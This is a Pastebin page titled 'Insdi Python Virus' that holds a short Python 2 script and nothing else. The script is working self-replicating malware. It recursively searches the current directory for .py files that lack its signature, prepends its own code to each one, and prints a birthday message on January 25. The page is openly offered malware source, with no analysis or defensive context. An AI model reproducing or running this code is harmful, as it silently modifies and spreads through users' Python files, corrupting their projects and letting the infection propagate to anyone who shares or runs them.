Advertisement
FlyFar

Insdi Python Virus

Feb 26th, 2023
512
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.19 KB | Cybersecurity | 0 0
  1. #!/usr/bin/python
  2. import os
  3. import datetime
  4. SIGNATURE = "INSDI VIRUS"
  5. def search(path):
  6.     filestoinfect = []
  7.     filelist = os.listdir(path)
  8.     for fname in filelist:
  9.         if os.path.isdir(path+"/"+fname):
  10.             filestoinfect.extend(search(path+"/"+fname))
  11.         elif fname[-3:] == ".py":
  12.             infected = False
  13.             for line in open(path+"/"+fname):
  14.                 if SIGNATURE in line:
  15.                     infected = True
  16.                     break
  17.             if infected == False:
  18.                 filestoinfect.append(path+"/"+fname)
  19.     return filestoinfect
  20. def infect(filestoinfect):
  21.     virus = open(os.path.abspath(__file__))
  22.     virusstring = ""
  23.     for i,line in enumerate(virus):
  24.         if i>=0 and i <39:
  25.             virusstring += line
  26.     virus.close
  27.     for fname in filestoinfect:
  28.         f = open(fname)
  29.         temp = f.read()
  30.         f.close()
  31.         f = open(fname,"w")
  32.         f.write(virusstring + temp)
  33.         f.close()
  34. def bomb():
  35.     if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
  36.         print "HAPPY BIRTHDAY CRANKLIN!"
  37. filestoinfect = search(os.path.abspath(""))
  38. infect(filestoinfect)
  39. bomb()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement